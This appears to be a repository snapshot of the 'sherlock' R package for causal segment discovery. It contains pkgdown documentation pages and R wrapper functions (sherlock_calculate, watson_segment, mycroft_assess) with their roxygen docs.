href=\"LICENSE.html\">Full license</a></li>\n<li><small>Apache License (>= 2)</small></li>\n</ul>\n</div>\n<div class=\"citation\">\n<h2>Citation</h2>\n<ul class=\"list-unstyled\">\n<li><a href=\"authors.html\">Citing sherlock</a></li>\n</ul>\n</div>\n<div class=\"developers\">\n<h2>Developers</h2>\n<ul class=\"list-unstyled\">\n<li>Nima Hejazi <br><small class=\"roles\"> Author, maintainer </small> <a href=\"https://orcid.org/0000-0002-7127-2789\" target=\"orcid.widget\" aria-label=\"ORCID\"><span class=\"fab fa-orcid orcid\" aria-hidden=\"true\"></span></a> </li>\n<li>Wenjing Zheng <br><small class=\"roles\"> Author </small> <a href=\"https://orcid.org/0000-0002-6584-1359\" target=\"orcid.widget\" aria-label=\"ORCID\"><span class=\"fab fa-orcid orcid\" aria-hidden=\"true\"></span></a> </li>\n<li>Netflix, Inc. <br><small class=\"roles\"> Funder, copyright holder </small> </li>\n</ul>\n</div>\n\n <div class=\"dev-status\">\n<h2>Dev status</h2>\n<ul class=\"list-unstyled\">\n<li><a href=\"https://github.com/Netflix/sherlock/actions\"><img src=\"https://github.com/Netflix/sherlock/workflows/R-CMD-check/badge.svg\" alt=\"R-CMD-check\"></a></li>\n<li><a href=\"https://codecov.io/github/Netflix/sherlock?branch=master\"><img src=\"https://img.shields.io/codecov/c/github/Netflix/sherlock/master.svg\" alt=\"Coverage Status\"></a></li>\n<li><a href=\"https://www.repostatus.org/#active\"><img src=\"https://www.repostatus.org/badges/latest/active.svg\" alt=\"Project Status: Active \u2013 The project has reached a stable, usable state and is being actively developed.\"></a></li>\n<li><a href=\"https://opensource.org/licenses/Apache-2.0\"><img src=\"https://img.shields.io/badge/License-Apache%202.0-blue.svg\" alt=\"License\"></a></li>\n<li><a href=\"https://doi.org/10.5281/zenodo.5652010\"><img src=\"https://zenodo.org/badge/DOI/10.5281/zenodo.5652010.svg\" alt=\"DOI\"></a></li>\n</ul>\n</div>\n</div>\n</div>\n\n\n <footer><div class=\"copyright\">\n <p>Developed by Nima Hejazi, Wenjing Zheng, Netflix, Inc..</p>\n</div>\n\n<div class=\"pkgdown\">\n <p>Site built with <a href=\"https://pkgdown.r-lib.org/\">pkgdown</a> 1.6.1.</p>\n</div>\n\n </footer>\n</div>\n\n \n\n\n </body>\n</html>\n", "docs\\articles\\index.html": "<!-- Generated by pkgdown: do not edit by hand -->\n<!DOCTYPE html>\n<html lang=\"en\">\n <head>\n <meta charset=\"utf-8\">\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n\n<title>Articles \u2022 sherlock</title>\n\n\n<!-- jquery -->\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js\" integrity=\"sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=\" crossorigin=\"anonymous\"></script>\n<!-- Bootstrap -->\n\n<link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.4.1/css/bootstrap.min.css\" integrity=\"sha256-bZLfwXAP04zRMK2BjiO8iu9pf4FbLqX6zitd+tIvLhE=\" crossorigin=\"anonymous\" />\n\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.4.1/js/bootstrap.min.js\" integrity=\"sha256-nuL8/2cJ5NDSSwnKD8VqreErSWHtnEP9E7AySL+1ev4=\" crossorigin=\"anonymous\"></script>\n\n<!-- bootstrap-toc -->\n<link rel=\"stylesheet\" href=\"../bootstrap-toc.css\">\n<script src=\"../bootstrap-toc.js\"></script>\n\n<!-- Font Awesome icons -->\n<link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.12.1/css/all.min.css\" integrity=\"sha256-mmgLkCYLUQbXn0B1SRqzHar6dCnv9oZFPEC1g1cwlkk=\" crossorigin=\"anonymous\" />\n<link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.12.1/css/v4-shims.min.css\" integrity=\"sha256-wZjR52fzng1pJHwx4aV2AO3yyTOXrcDW7jBpJtTwVxw=\" crossorigin=\"anonymous\" />\n\n<!-- clipboard.js -->\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/clipboard.js/2.0.6/clipboard.min.js\" integrity=\"sha256-inc5kl9MA1hkeYUt+EC3BhlIgyp/2jDIyBLS6k3UxPI=\" crossorigin=\"anonymous\"></script>\n\n<!-- headroom.js -->\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/headroom/0.11.0/headroom.min.js\" integrity=\"sha256-AsUX4SJE1+yuDu5+mAVzJbuYNPHj/WroHuZ8Ir/CkE0=\" crossorigin=\"anonymous\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/headroom/0.11.0/jQuery.headroom.min.js\" integrity=\"sha256-ZX/yNShbjqsohH1k95liqY9Gd8uOiE1S4vZc+9KQ1K4=\" crossorigin=\"anonymous\"></script>\n\n<!-- pkgdown -->\n<link href=\"../pkgdown.css\" rel=\"stylesheet\">\n<script src=\"../pkgdown.js\"></script>\n\n\n\n\n<meta property=\"og:title\" content=\"Articles\" />\n\n\n\n\n<!-- mathjax -->\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.5/MathJax.js\" integrity=\"sha256-nvJJv9wWKEm88qvoQl9ekL2J+k/RWIsaSScxxlsrv8k=\" crossorigin=\"anonymous\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.5/config/TeX-AMS-MML_HTMLorMML.js\" integrity=\"sha256-84DKXVJXs0/F8OTMzX4UR909+jtl4G7SPypPavF+GfA=\" crossorigin=\"anonymous\"></script>\n\n<!--[if lt IE 9]>\n<script src=\"https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js\"></script>\n<script src=\"https://oss.maxcdn.com/respond/1.4.2/respond.min.js\"></script>\n<![endif]-->\n\n\n\n </head>\n\n <body data-spy=\"scroll\" data-target=\"#toc\">\n <div class=\"container template-article-index\">\n <header>\n <div class=\"navbar navbar-default navbar-fixed-top\" role=\"navigation\">\n <div class=\"container\">\n <div class=\"navbar-header\">\n <button type=\"button\" class=\"navbar-toggle collapsed\" data-toggle=\"collapse\" data-target=\"#navbar\" aria-expanded=\"false\">\n <span class=\"sr-only\">Toggle navigation</span>\n <span class=\"icon-bar\"></span>\n <span class=\"icon-bar\"></span>\n <span class=\"icon-bar\"></span>\n </button>\n <span class=\"navbar-brand\">\n <a class=\"navbar-link\" href=\"../index.html\">sherlock</a>\n <span class=\"version label label-default\" data-toggle=\"tooltip\" data-placement=\"bottom\" title=\"Released version\">0.2.0</span>\n </span>\n </div>\n\n <div id=\"navbar\" class=\"navbar-collapse collapse\">\n <ul class=\"nav navbar-nav\">\n <li>\n <a href=\"../index.html\">\n <span class=\"fas fa-home fa-lg\"></span>\n \n </a>\n</li>\n<li>\n <a href=\"../reference/index.html\">Reference</a>\n</li>\n<li class=\"dropdown\">\n <a href=\"#\" class=\"dropdown-toggle\" data-toggle=\"dropdown\" role=\"button\" aria-expanded=\"false\">\n Articles\n \n <span class=\"caret\"></span>\n </a>\n <ul class=\"dropdown-menu\" role=\"menu\">\n <li>\n <a href=\"../articles/sherlock_quick_start_netflix.html\">`sherlock`: Causal Machine Learning for Segment Discovery</a>\n </li>\n </ul>\n</li>\n </ul>\n <ul class=\"nav navbar-nav navbar-right\">\n \n </ul>\n \n </div><!--/.nav-collapse -->\n </div><!--/.container -->\n</div><!--/.navbar -->\n\n \n\n </header>\n\n<div class=\"row\">\n <div class=\"col-md-9 contents\">\n <div class=\"page-header\">\n <h1>Articles</h1>\n </div>\n\n <div class=\"section \">\n <h3>All vignettes</h3>\n <p class=\"section-desc\"></p>\n\n <dl>\n <dt><a href=\"sherlock_quick_start_netflix.html\">`sherlock`: Causal Machine Learning for Segment Discovery</a></dt>\n <dd></dt>\n </dl>\n </div>\n </div>\n</div>\n\n\n <footer>\n <div class=\"copyright\">\n <p>Developed by Nima Hejazi, Wenjing Zheng, Netflix, Inc..</p>\n</div>\n\n<div class=\"pkgdown\">\n <p>Site built with <a href=\"https://pkgdown.r-lib.org/\">pkgdown</a> 1.6.1.</p>\n</div>\n\n </footer>\n </div>\n\n \n\n\n </body>\n</html>\n\n\n", "docs\\reference\\index.html": "<!-- Generated by pkgdown: do not edit by hand -->\n<!DOCTYPE html>\n<html lang=\"en\">\n <head>\n <meta charset=\"utf-8\">\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n\n<title>Function reference \u2022 sherlock</title>\n\n\n<!-- jquery -->\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js\" integrity=\"sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=\" crossorigin=\"anonymous\"></script>\n<!-- Bootstrap -->\n\n<link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.4.1/css/bootstrap.min.css\" integrity=\"sha256-bZLfwXAP04zRMK2BjiO8iu9pf4FbLqX6zitd+tIvLhE=\" crossorigin=\"anonymous\" />\n\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.4.1/js/bootstrap.min.js\" integrity=\"sha256-nuL8/2cJ5NDSSwnKD8VqreErSWHtnEP9E7AySL+1ev4=\" crossorigin=\"anonymous\"></script>\n\n<!-- bootstrap-toc -->\n<link rel=\"stylesheet\" href=\"../bootstrap-toc.css\">\n<script src=\"../bootstrap-toc.js\"></script>\n\n<!-- Font Awesome icons -->\n<link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.12.1/css/all.min.css\" integrity=\"sha256-mmgLkCYLUQbXn0B1SRqzHar6dCnv9oZFPEC1g1cwlkk=\" crossorigin=\"anonymous\" />\n<link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.12.1/css/v4-shims.min.css\" integrity=\"sha256-wZjR52fzng1pJHwx4aV2AO3yyTOXrcDW7jBpJtTwVxw=\" crossorigin=\"anonymous\" />\n\n<!-- clipboard.js -->\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/clipboard.js/2.0.6/clipboard.min.js\" integrity=\"sha256-inc5kl9MA1hkeYUt+EC3BhlIgyp/2jDIyBLS6k3UxPI=\" crossorigin=\"anonymous\"></script>\n\n<!-- headroom.js -->\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/headroom/0.11.0/headroom.min.js\" integrity=\"sha256-AsUX4SJE1+yuDu5+mAVzJbuYNPHj/WroHuZ8Ir/CkE0=\" crossorigin=\"anonymous\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/headroom/0.11.0/jQuery.headroom.min.js\" integrity=\"sha256-ZX/yNShbjqsohH1k95liqY9Gd8uOiE1S4vZc+9KQ1K4=\" crossorigin=\"anonymous\"></script>\n\n<!-- pkgdown -->\n<link href=\"../pkgdown.css\" rel=\"stylesheet\">\n<script src=\"../pkgdown.js\"></script>\n\n\n\n\n<meta property=\"og:title\" content=\"Function reference\" />\n\n\n\n\n<!-- mathjax -->\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.5/MathJax.js\" integrity=\"sha256-nvJJv9wWKEm88qvoQl9ekL2J+k/RWIsaSScxxlsrv8k=\" crossorigin=\"anonymous\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.5/config/TeX-AMS-MML_HTMLorMML.js\" integrity=\"sha256-84DKXVJXs0/F8OTMzX4UR909+jtl4G7SPypPavF+GfA=\" crossorigin=\"anonymous\"></script>\n\n<!--[if lt IE 9]>\n<script src=\"https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js\"></script>\n<script src=\"https://oss.maxcdn.com/respond/1.4.2/respond.min.js\"></script>\n<![endif]-->\n\n\n\n </head>\n\n <body data-spy=\"scroll\" data-target=\"#toc\">\n <div class=\"container template-reference-index\">\n <header>\n <div class=\"navbar navbar-default navbar-fixed-top\" role=\"navigation\">\n <div class=\"container\">\n <div class=\"navbar-header\">\n <button type=\"button\" class=\"navbar-toggle collapsed\" data-toggle=\"collapse\" data-target=\"#navbar\" aria-expanded=\"false\">\n <span class=\"sr-only\">Toggle navigation</span>\n <span class=\"icon-bar\"></span>\n <span class=\"icon-bar\"></span>\n <span class=\"icon-bar\"></span>\n </button>\n <span class=\"navbar-brand\">\n <a class=\"navbar-link\" href=\"../index.html\">sherlock</a>\n <span class=\"version label label-default\" data-toggle=\"tooltip\" data-placement=\"bottom\" title=\"Released version\">0.2.0</span>\n </span>\n </div>\n\n <div id=\"navbar\" class=\"navbar-collapse collapse\">\n <ul class=\"nav navbar-nav\">\n <li>\n <a href=\"../index.html\">\n <span class=\"fas fa-home fa-lg\"></span>\n \n </a>\n</li>\n<li>\n <a href=\"../reference/index.html\">Reference</a>\n</li>\n<li class=\"dropdown\">\n <a href=\"#\" class=\"dropdown-toggle\" data-toggle=\"dropdown\" role=\"button\" aria-expanded=\"false\">\n Articles\n \n <span class=\"caret\"></span>\n </a>\n <ul class=\"dropdown-menu\" role=\"menu\">\n <li>\n <a href=\"../articles/sherlock_quick_start_netflix.html\">`sherlock`: Causal Machine Learning for Segment Discovery</a>\n </li>\n </ul>\n</li>\n </ul>\n <ul class=\"nav navbar-nav navbar-right\">\n \n </ul>\n \n </div><!--/.nav-collapse -->\n </div><!--/.container -->\n</div><!--/.navbar -->\n\n \n\n </header>\n\n<div class=\"row\">\n <div class=\"contents col-md-9\">\n <div class=\"page-header\">\n <h1>Reference</h1>\n </div>\n\n <table class=\"ref-index\">\n\n <colgroup>\n \n <col class=\"alias\" />\n <col class=\"title\" />\n </colgroup>\n\n <tbody>\n <tr>\n <th colspan=\"2\">\n <h2 id=\"section-all-functions\" class=\"hasAnchor\"><a href=\"#section-all-functions\" class=\"anchor\"></a>All functions</h2>\n <p class=\"section-desc\"></p>\n </th>\n </tr>\n \n \n </tbody><tbody>\n \n \n <tr>\n \n <td>\n <p><code><a href=\"Lrnr_prob_known.html\">Lrnr_prob_known</a></code> </p>\n </td>\n <td><p>Predict with Probability Known A Priori</p></td>\n </tr><tr>\n \n <td>\n <p><code><a href=\"cost_funs.html\">cost_threshold()</a></code> <code><a href=\"cost_funs.html\">cost_budget()</a></code> <code><a href=\"cost_funs.html\">cost_knapsack()</a></code> </p>\n </td>\n <td><p>Cost Functions for Assignment of a Dynamic Treatment Rule</p></td>\n </tr><tr>\n \n <td>\n <p><code><a href=\"data_example.html\">data_example</a></code> </p>\n </td>\n <td><p>Natural experiment on the effect of a binary treatment on viewing metrics</p></td>\n </tr><tr>\n \n <td>\n <p><code><a href=\"data_example_with_cost.html\">data_example_with_cost</a></code> </p>\n </td>\n <td><p>Natural experiment on the effect of a binary treatment on viewing metrics,\nwhere treating units has a cost</p></td>\n </tr><tr>\n \n <td>\n <p><code><a href=\"mycroft_assess.html\">mycroft_assess()</a></code> </p>\n </td>\n <td><p>Mycroft Assesses the Population-level Causal Effects of the Segmentation</p></td>\n </tr><tr>\n \n <td>\n <p><code><a href=\"plot.sherlock.html\">plot(<i><sherlock></i>)</a></code> </p>\n </td>\n <td><p>Plot Method for Sherlock Summary Output</p></td>\n </tr><tr>\n \n <td>\n <p><code><a href=\"print.sherlock.html\">print(<i><sherlock></i>)</a></code> </p>\n </td>\n <td><p>Print Method for Sherlock Summary Output</p></td>\n </tr><tr>\n \n <td>\n <p><code><a href=\"print.sherlock_effects.html\">print(<i><sherlock_effects></i>)</a></code> </p>\n </td>\n <td><p>Print Method for Effects Summary Output</p></td>\n </tr><tr>\n \n <td>\n <p><code><a href=\"sherlock_calculate.html\">sherlock_calculate()</a></code> </p>\n </td>\n <td><p>Sherlock Consults By Inspecting the Data and Evaluating Conditional Effects</p></td>\n </tr><tr>\n \n <td>\n <p><code><a href=\"watson_segment.html\">watson_segment()</a></code> </p>\n </td>\n <td><p>Watson Advises Sherlock By Detecting Segments and Assigning Treatment Rules</p></td>\n </tr>\n </tbody>\n </table>\n </div>\n\n <div class=\"col-md-3 hidden-xs hidden-sm\" id=\"pkgdown-sidebar\">\n <nav id=\"toc\" data-toggle=\"toc\" class=\"sticky-top\">\n <h2 data-toc-skip>Contents</h2>\n </nav>\n </div>\n</div>\n\n\n <footer>\n <div class=\"copyright\">\n <p>Developed by Nima Hejazi, Wenjing Zheng, Netflix, Inc..</p>\n</div>\n\n<div class=\"pkgdown\">\n <p>Site built with <a href=\"https://pkgdown.r-lib.org/\">pkgdown</a> 1.6.1.</p>\n</div>\n\n </footer>\n </div>\n\n \n\n\n </body>\n</html>\n\n\n", "R\\wrappers.R": "#' Sherlock Consults By Inspecting the Data and Evaluating Conditional Effects\n#'\n#' Sherlock Holmes was a consulting detective who had spectacular powers of\n#' deduction and logical reasoning. Within \\pkg{sherlock}'s causal segmentation\n#' framework, \\code{sherlock_calculate} takes data from a segmentation \"case\",\n#' the roles of the different variables, and specifications for assessing the\n#' conditional treatment effects required for deriving a segmentation. Being\n#' the workhorse, this function is the most demanding, as it computes all of\n#' the nuisance parameters required for subsequent analyses. The complementary\n#' functions \\code{\\link{watson_segment}} and \\code{\\link{mycroft_assess}} can\n#' be used once Sherlock has consulted on the causal segmentation case.\n#'\n#' @param data_from_case Rectangular input data, whether a \\code{data.frame},\n#' \\code{\\link[data.table]{data.table}}, or \\code{\\link[tibble]{tibble}}.\n#' @param baseline A \\code{character} vector specifying the column names in\n#' \\code{data_obs} that correspond to the baseline covariates (conditioning\n#' set). These variables should temporally precede the exposure and outcome.\n#' @param exposure A \\code{character} string (of length one) specifying the\n#' column in \\code{data_obs} corresponding to the exposure or treatment. This\n#' variable should follow those in \\code{baseline} in time but precede the\n#' response variable \\code{outcome}.\n#' @param outcome A \\code{character} string (of length one) specifying the\n#' column in \\code{data_obs} corresponding to the response variable.\n#' @param segment_by A \\code{character} vector specifying the column names in\n#' \\code{data_obs} that correspond to the covariates over which segmentation\n#' should be performed. This should be a strict subset of \\code{baseline}.\n#' @param ids A \\code{character} string (of length one) specifying the column\n#' in \\code{data_obs} that gives observation-level IDs. The default value of\n#' \\code{NULL} assumes that all rows of \\code{data_obs} are independent.\n#' @param treatment_cost A \\code{character} string (of length one) specifying\n#' the column in \\code{data_obs} that provides the cost associated to treating\n#' the given unit. The default value of \\code{NULL} assumes that all units are\n#' equally costly to treat.\n#' @param cv_folds A \\code{numeric} specifying the number of cross-validation\n#' folds to be used for sample-splitting when estimating nuisance parameters.\n#' @param split_type A \\code{character} string (of length one) indicating the\n#' sample-splitting \"level\" at which estimation of the CATE is performed. The\n#' choices are \"inner\", for estimation of the CATE within folds (i.e., at the\n#' the same level at which nuisance parameters are estimated), and \"outer\", in\n#' which case the CATE is estimated at the \"full-sample\" level.\n#' @param ps_learner Either an instantiated learner object (class inheriting\n#' from \\code{\\link[sl3]{Lrnr_base}}), from \\pkg{sl3}, or a \\code{list} of\n#' specifications, or a constant rate between 0 and 1, to be used for\n#' estimation of the propensity score (the probability of receiving treatment,\n#' conditional on covariates). If \\code{list}: each entry may be an\n#' instantiated learner object, or can be a list where one item is an\n#' instantiated learner object whose modeling requires specification, and the\n#' other item is a list of character vectors, where each vector specifies an\n#' interaction term. If constant rate, this rate represents the population\n#' probability of being assigned to treatment in an A/B tests. Note that the\n#' outcome of this estimation task is strictly binary and that algorithms or\n#' ensemble models should be set up accordingly.\n#' @param or_learner Either an instantiated learner object (class inheriting\n#' from \\code{\\link[sl3]{Lrnr_base}}), from \\pkg{sl3}, or a \\code{list} of\n#' specifications, to be used for estimation of the outcome regression (the\n#' mean of the response variable, conditional on exposure and covariates). If\n#' \\code{list}: each entry can be an instantiated learner object, or can be a\n#' list where one item is an instantiated learner object whose modeling\n#' requires specification, and the other item is a list of character vectors,\n#' where each vector specifies an interaction term.\n#' @param cate_learner Either an instantiated learner object (class inheriting\n#' from \\code{\\link[sl3]{Lrnr_base}}), from \\pkg{sl3}, or a \\code{list} of\n#' specifications, to be used to estimate the CATE, based on a regression of a\n#' doubly robust pseudo-outcome on the specified segmentation covariates. If\n#' \\code{list}: each entry can be an instantiated learner object, or can be a\n#' list where one item is an instantiated learner object whose modeling\n#' requires specification, and the other item is a list of character vectors,\n#' where each vector specifies an interaction term. Note that the outcome of\n#' this estimation task is derived from the other nuisance parameter estimates\n#' and should be expected to always be continuous-valued, so algorithms or\n#' ensemble models should be set up accordingly.\n#' @param use_cv_selector If \\code{TRUE}, then will use cross-validation to\n#' choose the best among a list of learners when fitting \\code{ps_learner},\n#' \\code{or_learner} or \\code{cate_learner}. If \\code{FALSE} (default), then\n#' the default metalearner for the outcome type (from \\pkg{sl3}) will be used.\n#' This argument will not be ignored for a \\code{learner} that is not a list,\n#' but is instead an instantiated learner object.\n#'\n#' @importFrom data.table setattr\n#'\n#' @export\nsherlock_calculate <- function(data_from_case,\n baseline,\n exposure,\n outcome,\n segment_by,\n ids = NULL,\n treatment_cost = NULL,\n cv_folds = 5L,\n split_type = c(\"inner\", \"outer\"),\n ps_learner,\n or_learner,\n cate_learner,\n use_cv_selector = FALSE) {\n # create estimation-ready data structure\n data_internal <- set_est_data(\n data_obs = data_from_case,\n baseline = baseline,\n exposure = exposure,\n outcome = outcome,\n ids = ids,\n segment_by = segment_by,\n treatment_cost = treatment_cost\n )\n\n # estimate all nuisance parameters\n data_with_cate_estimates <- est_cate(\n data_est_spec = data_internal,\n cv_folds = cv_folds,\n split_type = split_type,\n ps_learner = ps_learner,\n or_learner = or_learner,\n cate_learner = cate_learner,\n use_cv_selector = use_cv_selector\n )\n\n # create summary of segments without rule assignment\n segment_summary_norule <- summarize_segments(\n data_with_rule = data_with_cate_estimates\n )\n\n # output data.table with all nuisance parameter estimates\n data.table::setattr(\n x = data_with_cate_estimates,\n name = \"summary\",\n value = segment_summary_norule\n )\n\n # set custom class while preserving data.table\n data.table::setattr(\n x = data_with_cate_estimates,\n name = \"class\",\n value = unique(c(\"sherlock\", class(data_with_cate_estimates)))\n )\n\n # output modified data.table, with custom class\n return(data_with_cate_estimates[])\n}\n\n#' Watson Advises Sherlock By Detecting Segments and Assigning Treatment Rules\n#'\n#' Dr. James H. Watson was Sherlock's friend, flatmate, and assistant. He often\n#' contributed to Sherlock's work, usually by accompanying him in the field and\n#' providing advice that could guide Sherlock towards a solution to the case.\n#' Within \\pkg{sherlock}'s causal segmentation framework, \\code{watson_segment}\n#' mirrors Dr. Watson's role by assigning a treatment rule after Sherlock has\n#' completed a preliminary consultation via \\code{\\link{sherlock_calculate}}.\n#' The output is a slightly augmented version of the data structure produced by\n#' \\code{\\link{sherlock_calculate}}; however, this step is necessary. After Dr.\n#' Watson has helped Sherlock in finalizing the segmentation analysis, the\n#' segmentation quality may be evaluated via \\code{\\link{mycroft_assess}}.\n#'\n#' @param data_with_consult A \\code{\\link[data.table]{data.table}} containing\n#' the output \\code{\\link{sherlock_calculate}}, which matches the input data,\n#' augmented with cross-validated nuisance parameter estimates and an estimate\n#' of the CATE. A summary of the estimates across segmentation strata is made\n#' available as an attribute of the \\code{\\link[data.table]{data.table}}.\n#' @param segment_fun A particular choice of function for the assignment of a\n#' treatment rule to a segment based on a specified threshold or constraint.\n#' For details on these, consult the documentation in \\code{\\link{cost_funs}}.\n#' @param ... Additional arguments passed to \\code{segment_fun}. For details,\n#' see the documentation for the cost functions in \\code{\\link{cost_funs}}.\n#' @param type A \\code{character} string (of length one) specifying how the\n#' treatment decision based on the CATE is to be made. There are two options:\n#' - \\code{\"inferential\"} (the default) uses a hypothesis test to evaluate\n#' whether the estimated CATE is statistically different from a threshold\n#' and assigns a treatment decision based on the resultant p-value.\n#' - \\code{\"analytic\"} simply evaluates whether the estimated CATE exceeds a\n#' given threshold and assigns treatment to segments for which this holds.\n#' Note that in both cases the threshold must be either provided directly (as\n#' an input to \\code{\\link{cost_threshold}}) or will be discovered based on\n#' specified constraints (as in \\code{\\link{cost_budget}}).\n#'\n#' @importFrom data.table as.data.table setattr\n#'\n#' @export\nwatson_segment <- function(data_with_consult,\n segment_fun,\n ...,\n type = c(\"inferential\", \"analytic\")) {\n # assign the treatment rule based on the cost function\n assign_rule(\n data_with_cate = data_with_consult,\n segment_fun = segment_fun,\n ...,\n type = type\n )\n\n # create summary of segments based on rule assignment\n segment_summary_withrule <- summarize_segments(\n data_with_rule = data_with_consult\n )\n segment_summary_withrule <- data.table::as.data.table(\n segment_summary_withrule\n )\n\n # output data.table with all nuisance parameter estimates\n data.table::setattr(\n x = data_with_consult,\n name = \"summary\",\n value = segment_summary_withrule\n )\n\n # set custom class while preserving data.table\n data.table::setattr(\n x = data_with_consult,\n name = \"class\",\n value = unique(c(\"sherlock\", class(data_with_consult)))\n )\n\n # output modified data.table, with custom class\n return(data_with_consult[])\n}\n\n#' Mycroft Assesses the Population-level Causal Effects of the Segmentation\n#'\n#' Mycroft Holmes, Sherlock's elder brother, was a government official who\n#' specialized in taking together facts from a variety of disparate sources and\n#' putting together the best course of government action. His deductive skills\n#' and logical reasoning abilities exceeded even those of Sherlock. Mycroft was\n#' concerned more with the \"big picture\" than with the details of particular\n#' cases. As such, the role of \\code{mycroft_assess} within the \\pkg{sherlock}\n#' causal segmentation framework is to evaluate the population-level causal\n#' effects that would result from following the course of action (i.e., dynamic\n#' treatment) prescribed by Sherlock and Watson. For \\code{mycroft_assess} to\n#' work, both \\code{\\link{sherlock_calculate}} and \\code{\\link{watson_segment}}\n#' must be called in sequence to evaluate the segmentation case and assign a\n#' treatment decision to segments.\n#'\n#' @param data_from_advising A \\code{\\link[data.table]{data.table}} containing\n#' the output from successive calls to \\code{\\link{sherlock_calculate}} and\n#' \\code{\\link{watson_segment}}, which matches the input data, augmented with\n#' cross-validated nuisance parameter estimates and an estimate of the CATE. A\n#' summary of the estimates across segmentation strata is made available as an\n#' attribute of the \\code{\\link[data.table]{data.table}}.\n#' @param param_type A \\code{character} providing a specification for a family\n#' of target parameters to be estimated. The two choices provide estimates of\n#' a range of target parameters. Specifically, the choices correspond to\n#' 1. \\code{\"hte\"}, which computes the average treatment effect (ATE), which\n#' contrasts static interventions for treatment assignment and treatment\n#' being withhold, for (1) the full population, (2) within the subgroup of\n#' units dynamically assigned treatment, and (3) within the subgroup of\n#' units from whom treatment was withheld dynamically. Also included is the\n#' heterogeneous treatment effect (HTE), defined as a difference of the two\n#' subgroup ATEs, which captures the benefit attributable to treating those\n#' units who should receive treatment and withholding treatment from those\n#' that could be harmed by the treatment.\n#' 2. \\code{\"ote\"}, which computes several counterfactual means, for (1) the\n#' static intervention of assigning treatment to all units, (2) the static\n#' intervention of withholding treatment from all units, (3) the dynamic\n#' intervention of assigning treatment to those predicted to benefit from\n#' it while withholding treatment from those units that could be harmed. In\n#' addition, two average treatment effects are evaluated, each contrasting\n#' the dynamic treatment rule against the static interventions of assigning\n#' or withholding treatment. The latter three parameters capture contrasts\n#' based on the optimal treatment effect (OTE).\n#' @param est_type A \\code{character} specifying the type of estimator to be\n#' computed. Both estimators are asymptotically linear when flexible modeling\n#' choices are used to estimate nuisance parameters, doubly robust (consistent\n#' when at least one nuisance parameter is correctly estimated), and achieve\n#' the best possible variance (i.e., asymptotically efficient) among the class\n#' of regular asymptotically linear estimators. The two options are\n#' 1. \\code{\"onestep\"}, corresponding to the one-step estimator, a first-order\n#' solution to the efficient influence function (EIF) estimating equation.\n#' This is not a substitution (direct) estimator and may be unstable in the\n#' sense of yielding estimates outside the bounds of the target parameter.\n#' 2. \\code{\"tmle\"}, corresponding to the targeted minimum loss estimator, an\n#' approach that updates initial estimates of the outcome model by way of a\n#' one-dimensional fluctuation model that aims to approximately solve the\n#' EIF estimating equation.\n#'\n#' @export\nmycroft_assess <- function(data_from_advising,\n param_type = c(\"hte\", \"ote\"),\n est_type = c(\"onestep\")) {\n # just a call to the effect estimation machinery\n # NOTE: we may eventually like to add other information here\n effect_est <- est_effect(\n data_from_advising,\n param_type = param_type,\n est_type = est_type\n )\n\n ## create custom class with print method\n data.table::setattr(\n x = effect_est,\n name = \"class\",\n value = unique(c(\"sherlock_effects\", class(effect_est)))\n )\n\n # just output the effect measures\n return(effect_est[])\n}\n\n#' Print Method for Sherlock Summary Output\n#'\n#' @param x An object with class \\code{sherlock}, which should be a modified\n#' \\code{\\link[data.table]{data.table}}.\n#' @param ... Other options (not currently used).\n#' @param digits A \\code{numeric} integer giving the number of digits to print\n#' in the entries of the summary table.\n#'\n#' @method print sherlock\n#'\n#' @importFrom assertthat assert_that\n#'\n#' @return None. Called for the side effect of printing an informative summary\n#' table from objects of class \\code{sherlock}.\n#'\n#' @export\nprint.sherlock <- function(x, ..., digits = 4L) {\n if (!is.null(attr(x, \"summary\"))) {\n # print the summary via data.table's print method\n print(attr(x, \"summary\"), digits = digits)\n } else {\n print(x)\n }\n}\n\n"} | null |
